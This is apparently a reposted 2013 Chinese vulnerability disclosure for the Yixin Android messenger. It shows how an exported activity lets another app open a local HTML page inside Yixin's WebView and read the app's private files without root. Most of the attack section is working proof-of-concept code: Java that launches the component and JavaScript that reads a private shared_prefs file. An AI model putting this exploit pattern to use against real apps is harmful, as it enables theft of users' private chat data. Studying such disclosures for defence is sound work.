记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

易信组件信息泄露漏洞 可致恶意APP获取其私有目录数据(非root环境)

2013-12-03 15:00
易信的组件使用不当存在信息泄露漏洞、弹窗,恶意攻击者可能可以使用这个漏洞窃取用户隐私,或者弹一些恶意构造的广告
启动界面WelcomeActivity是导出的, WelcomeActivity的.method private h()V存在如下smali:
 

Lim/yixin/activity/WelcomeActivity;->getIntent()Landroid/content/Intent;

......

Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;......

Lim/yixin/activity/WelcomeActivity;->startActivity(Landroid/content/Intent;)V

 

 
 
当一个攻击app(恶意或非恶意均可以) 可以通过这个导出的组件,打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取易信下的所有数据,包括聊天数据库等,盗取过程无需root,盗取之后可以发送给远程服务器! 
 
 
 
利用细节:
 
这里是手动把file:///mnt/sdcard/yixin.html放在sd卡上,在攻击app中直接释放这个html
 
 
 
主要实现代码:
 

static final String YIXIN_PKG = "im.yixin";

static final String CustomWebView_ACTIVITY = "im.yixin.activity.CustomWebView";

static final String Welcome_ACTIVITY = "im.yixin.activity.WelcomeActivity";



public void attack() {

Intent contIntent = new Intent();

contIntent.putExtra("url", "file:///mnt/sdcard/yixin.html");

Intent intent = new Intent();

intent.setClassName(YIXIN_PKG, Welcome_ACTIVITY);

Class lunch = null;



File aOptimizedDexOutputPath = getDir("outdex", Context.MODE_PRIVATE);

File dexFile = new File("/data/app/im.yixin-1.apk");



if(dexFile.exists()){

DexClassLoader loader = new DexClassLoader(dexFile.toString() , aOptimizedDexOutputPath.getAbsolutePath() ,

null , ClassLoader.getSystemClassLoader());

try {



lunch = Class.forName("im.yixin.activity.CustomWebView",true,loader);

} catch (ClassNotFoundException e) {

e.printStackTrace();

}

}



intent.putExtra("target", lunch);

intent.putExtra("data", contIntent);

this.startActivity(intent);

}

 

 
 
 
存放在/mnt/sdcard/yixin.html内容如下:
 

<html>

<body>

<script type="text/javascript">

function getMessage() {

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

}

xmlhttp = request;



//获取本地文件代码

xmlhttp.open("GET", "file:////data/data/im.yixin/shared_prefs/saveTextMessage.xml", false);



xmlhttp.send(null);

var ret = xmlhttp.responseText;

return ret;

}



alert(getMessage());

</script>

</body>

</html>

 

 
导出activity,导致可以打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取易信下的所有数据,包括聊天数据库等,盗取过程无需root,盗取之后可以发送给远程服务器!
修复方案:
导出activity控制getIntent以及getParcelableExtra的使用
知识来源: www.2cto.com/Article/201312/261577.html

阅读:146889 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“易信组件信息泄露漏洞 可致恶意APP获取其私有目录数据(非root环境)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云